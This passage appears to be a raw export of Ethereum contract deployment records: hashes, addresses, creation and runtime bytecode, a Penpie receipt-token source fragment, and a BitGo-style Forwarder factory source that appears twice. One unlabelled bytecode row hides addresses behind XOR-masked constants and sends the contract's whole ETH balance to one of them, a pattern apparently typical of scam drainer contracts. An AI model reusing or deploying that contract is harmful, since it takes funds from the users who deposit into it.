}\n\n // should only be called by 1. pendleStaking for Pendle Market deposits 2. masterPenpie for other general staking token such as mPendleOFT or PNP-ETH Lp tokens\n function burn(address account, uint256 amount) external virtual onlyOwner {\n _burn(account, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so reward should be updated on master penpie before transfer\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).beforeReceiptTokenTransfer(from, to, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so balance should be updated on master penpie before transfer\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).afterReceiptTokenTransfer(from, to, amount);\n }\n\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 100
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {
"contracts/libraries/ERC20FactoryLib.sol": {
"ERC20FactoryLib": "0xae8e4bc88f792297a808cb5f32d4950fbbd8aeba"
}
}
}
}} |
1 | 19,493,865 | 6a3df9f5fe2f8dc30f95698bea518a97c77d474387a489bce531ea956e2829c2 | 73264d5109d688ea03e1d442fff4833629fd6855ef05d326dde00d4acabee96f | 00000952c5165e391ed0f8adffcfaf45f3b80000 | c65c9bd2a46fc44c83ac99a99baba9f4781bbd14 | 3ff02a1cf64650296b5fe4c6de2d2179f0ee7447 | 608060405234801561001057600080fd5b506040516103ea3803806103ea8339818101604052810190610032919061011c565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b610292806101586000396000f3fe608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c634300081400330000000000000000000000001b3c23a3a6169ad02b9ef667b30180f25878fa17 | 608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c63430008140033 | |
1 | 19,493,865 | 6a3df9f5fe2f8dc30f95698bea518a97c77d474387a489bce531ea956e2829c2 | de25bbffd43084457dbe08318bddbc3dff9255fe3d06d48273ef2e173122651f | 6ac5083258bf5127ead6a8347b39dc7c719abcec | 6ac5083258bf5127ead6a8347b39dc7c719abcec | e4e9e915a4d5ebb011f00eb940ac4440d843bf78 | 6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f8a727dc41d83211e47d3c0de4f643835121597034f4a7c93ebf19333a48301af6007557f8a727dc41d83211e47d3c0de2a711c495996e2725d7612974eed7b758777eaab6008557f8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122053cf0ba3f0ae100a110e54baaa9231ee865fc58ef4a519dc6b5b23f38b66e9b064736f6c63430008070033 | 6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122053cf0ba3f0ae100a110e54baaa9231ee865fc58ef4a519dc6b5b23f38b66e9b064736f6c63430008070033 | |
1 | 19,493,865 | 6a3df9f5fe2f8dc30f95698bea518a97c77d474387a489bce531ea956e2829c2 | ef8b849fb89cb496fc27c14b49359a1cb6c24f3a5a591715332dbe8f507b5aab | d2c82f2e5fa236e114a81173e375a73664610998 | ffa397285ce46fb78c588a9e993286aac68c37cd | 04a9867ffee1ef58761468b23868791e871c35f2 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,493,865 | 6a3df9f5fe2f8dc30f95698bea518a97c77d474387a489bce531ea956e2829c2 | 060a0141d09b15ae0642a724662a86479f19ee4ed4ef6bd3775cdf61c8b17223 | d2c82f2e5fa236e114a81173e375a73664610998 | ffa397285ce46fb78c588a9e993286aac68c37cd | 49f5faad3de7852772c7aaf7bd72f82cdb370e32 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,493,868 | 73f2f13cb58a34b88be2e898cc7050f7343caf11fc71a175846ed8b53cbec1f2 | f85343c6ed4c9fddfc4da6b6f961b32e32f752be915f4f3ac9fa05c18b1fe845 | 00000952c5165e391ed0f8adffcfaf45f3b80000 | c65c9bd2a46fc44c83ac99a99baba9f4781bbd14 | 8992af1bda02dd71fc5759562df14a7ea6783cc7 | 608060405234801561001057600080fd5b506040516103ea3803806103ea8339818101604052810190610032919061011c565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b610292806101586000396000f3fe608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c634300081400330000000000000000000000001b3c23a3a6169ad02b9ef667b30180f25878fa17 | 608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c63430008140033 | |
1 | 19,493,870 | d141d591fc059dd29d802230c40761a1ade49a3b9511bb5f3d2bf59dfdb90320 | a6094366081080e3fcb086b24c2059f35136f84db41c8485b116e2b9b723a80e | 00000952c5165e391ed0f8adffcfaf45f3b80000 | c65c9bd2a46fc44c83ac99a99baba9f4781bbd14 | a92ac7913f3c7d1861499054077cb265a18f6b76 | 608060405234801561001057600080fd5b506040516103ea3803806103ea8339818101604052810190610032919061011c565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b610292806101586000396000f3fe608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c634300081400330000000000000000000000001b3c23a3a6169ad02b9ef667b30180f25878fa17 | 608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c63430008140033 | |
